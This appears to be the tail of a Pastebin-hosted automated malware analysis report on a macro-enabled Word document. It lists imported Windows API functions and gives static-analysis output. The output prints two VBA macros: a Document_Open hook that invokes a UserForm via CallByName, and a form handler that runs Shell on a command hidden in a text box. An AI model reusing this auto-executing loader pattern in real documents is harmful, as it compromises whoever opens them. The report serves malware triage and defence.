  3646. "mso.dll.#9199",
  3647. "mso.dll.#7948",
  3648. "mso.dll.#2767",
  3649. "mso.dll.#3209",
  3650. "mso.dll.#4083",
  3651. "mso.dll.#292",
  3652. "mso.dll.#795",
  3653. "mso.dll.#8349",
  3654. "mso.dll.#8796",
  3655. "mso.dll.#3930",
  3656. "mso.dll.#9105",
  3657. "mso.dll.#2427",
  3658. "mso.dll.#8116",
  3659. "mso.dll.#6156",
  3660. "user32.dll.UnregisterClassW",
  3661. "user32.dll.UnhookWindowsHookEx",
  3662. "mso.dll.#7002",
  3663. "mso.dll.#186",
  3664. "user32.dll.PostQuitMessage",
  3665. "mso.dll.#591",
  3666. "mso.dll.#2272",
  3667. "mso.dll.#4284",
  3668. "msptls.dll.?LsDestroyContext@Ptls6@@YGJPAUlscontext@1@@Z",
  3669. "mso.dll.#4426",
  3670. "mso.dll.#8473",
  3671. "mso.dll.#8106",
  3672. "mso.dll.#8876",
  3673. "mso.dll.#6185",
  3674. "vbe7.dll.DllVbeTerm",
  3675. "user32.dll.IsMenu",
  3676. "user32.dll.UnregisterClassA",
  3677. "ole32.dll.DllDebugObjectRPCHook",
  3678. "mso.dll.#4210",
  3679. "mso.dll.#8586",
  3680. "mso.dll.#8004",
  3681. "mso.dll.#6078",
  3682. "mso.dll.#815",
  3683. "mso.dll.#187",
  3684. "mso.dll.#5625",
  3685. "mso.dll.#8316",
  3686. "mso.dll.#7598",
  3687. "ws2_32.dll.#116",
  3688. "user32.dll.RemoveClipboardFormatListener",
  3689. "user32.dll.UnregisterPowerSettingNotification",
  3690. "powrprof.dll.PowerSettingUnregisterNotification",
  3691. "shell32.dll.#155",
  3692. "gdiplus.dll.GdipDeleteCachedBitmap",
  3693. "gdiplus.dll.GdiplusShutdown",
  3694. "wtsapi32.dll.WTSUnRegisterSessionNotification",
  3695. "winsta.dll.WinStationUnRegisterConsoleNotification",
  3696. "advapi32.dll.RegDeleteValueW",
  3697. "mso.dll.#2482",
  3698. "mso.dll.#5458",
  3699. "advapi32.dll.UnregisterTraceGuids",
  3700. "comctl32.dll.#321",
  3701. "lpk.dll.LpkEditControl",
  3702. "comctl32.dll.InitCommonControlsEx",
  3703. "kernel32.dll.SortGetHandle",
  3704. "kernel32.dll.SortCloseHandle",
  3705. "kernel32.dll.GetNativeSystemInfo",
  3706. "kernel32.dll.GetSystemWow64DirectoryW",
  3707. "ntdll.dll.WinSqmIsOptedIn",
  3708. "shlwapi.dll.UrlIsW",
  3709. "shlwapi.dll.UrlGetPartW",
  3710. "ole32.dll.StgOpenStorage",
  3711. "kernel32.dll.GetThreadPreferredUILanguages",
  3712. "ole32.dll.CoInitialize",
  3713. "cryptbase.dll.SystemFunction036",
  3714. "uxtheme.dll.ThemeInitApiHook",
  3715. "user32.dll.IsProcessDPIAware",
  3716. "netapi32.dll.NetGetJoinInformation",
  3717. "netapi32.dll.NetApiBufferFree",
  3718. "ole32.dll.CoQueryProxyBlanket",
  3719. "msi.dll.DllGetClassObject",
  3720. "msi.dll.DllCanUnloadNow",
  3721. "ole32.dll.CoSetProxyBlanket",
  3722. "kernel32.dll.SetThreadExecutionState",
  3723. "ole32.dll.CoTaskMemAlloc",
  3724. "shell32.dll.SHChangeNotify",
  3725. "ole32.dll.CoTaskMemFree",
  3726. "ole32.dll.CoInitializeEx",
  3727. "ole32.dll.CoUninitialize",
  3728. "oleaut32.dll.#500"
  3729. ]
  3730.  
  3731. [*] Static Analysis: {
  3732. "office": {
  3733. "Macro": {
  3734. "Code": {
  3735. "Macro2": [
  3736. [
  3737. "App1.frm",
  3738. "Private Sub UserForm_Activate()\nOn Error Resume Next\nDim time\ntime = Format(Now + TimeSerial(0, 0, 24), \"hh:mm\")\n\n\nShell Replace(App2.T3.Text, \"77:77\", time)\nUnload Me\nEnd Sub\n"
  3739. ]
  3740. ],
  3741. "Macro1": [
  3742. [
  3743. "ThisDocument.cls",
  3744. "Sub document_open()\nCallByName App1, \"Show\", VbMethod\n\nEnd Sub"
  3745. ]
  3746. ]
  3747. },
  3748. "Analysis": {
  3749. "Suspicious": [
  3750. [
  3751. "CallByName",
  3752. "May attempt to obfuscate malicious function calls"
  3753. ],
  3754. [
  3755. "Shell",
  3756. "May run an executable file or a system command"
  3757. ]
  3758. ],
  3759. "AutoExec": [
  3760. [
  3761. "Document_Open",
  3762. "Runs when the Word document is opened"
  3763. ]
  3764. ]
  3765. }
  3766. },
  3767. "Metadata": {
  3768. "SummaryInformation": {
  3769. "num_words": "23",
  3770. "num_pages": "1",
  3771. "last_saved_by": "1",
  3772. "creating_application": "Microsoft Office Word",
  3773. "author": "Microsoft Office",
  3774. "revision_number": "3",
  3775. "codepage": "1251",
  3776. "title": "",
  3777. "comments": "",
  3778. "num_chars": "134",
  3779. "total_edit_time": "0",
  3780. "create_time": "None",
  3781. "template": "Normal.dotm",
  3782. "last_printed": "None",
  3783. "keywords": "",
  3784. "security": "0",
  3785. "last_saved_time": "None",
  3786. "thumbnail": "None",
  3787. "subject": ""
  3788. },
  3789. "DocumentSummaryInformation": {
  3790. "codepage_doc": "1251",
  3791. "chars_with_spaces": "156",
  3792. "shared_doc": "False",
  3793. "paragraphs": "1",
  3794. "hidden_slides": "None",
  3795. "mm_clips": "None",
  3796. "category": "None",
  3797. "presentation_target": "None",
  3798. "hlinks_changed": "False",
  3799. "scale_crop": "False",
  3800. "version": "1048576",
  3801. "hlinks": "None",
  3802. "link_base": "None",
  3803. "company": "Microsoft Corporation",
  3804. "unused": "None",
  3805. "dig_sig": "None",
  3806. "content_type": "None",
  3807. "heading_pairs": "None",
  3808. "slides": "None",
  3809. "links_dirty": "False",
  3810. "language": "None",
  3811. "notes": "None",
  3812. "bytes": "None",
  3813. "manager": "None",
  3814. "content_status": "None",
  3815. "doc_version": "None",
  3816. "titles_of_parts": "None",
  3817. "lines": "1"
  3818. },
  3819. "HasMacros": "Yes",
  3820. "DocumentType": "Word Document"
  3821. }
  3822. }
  3823. }
Advertisement
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!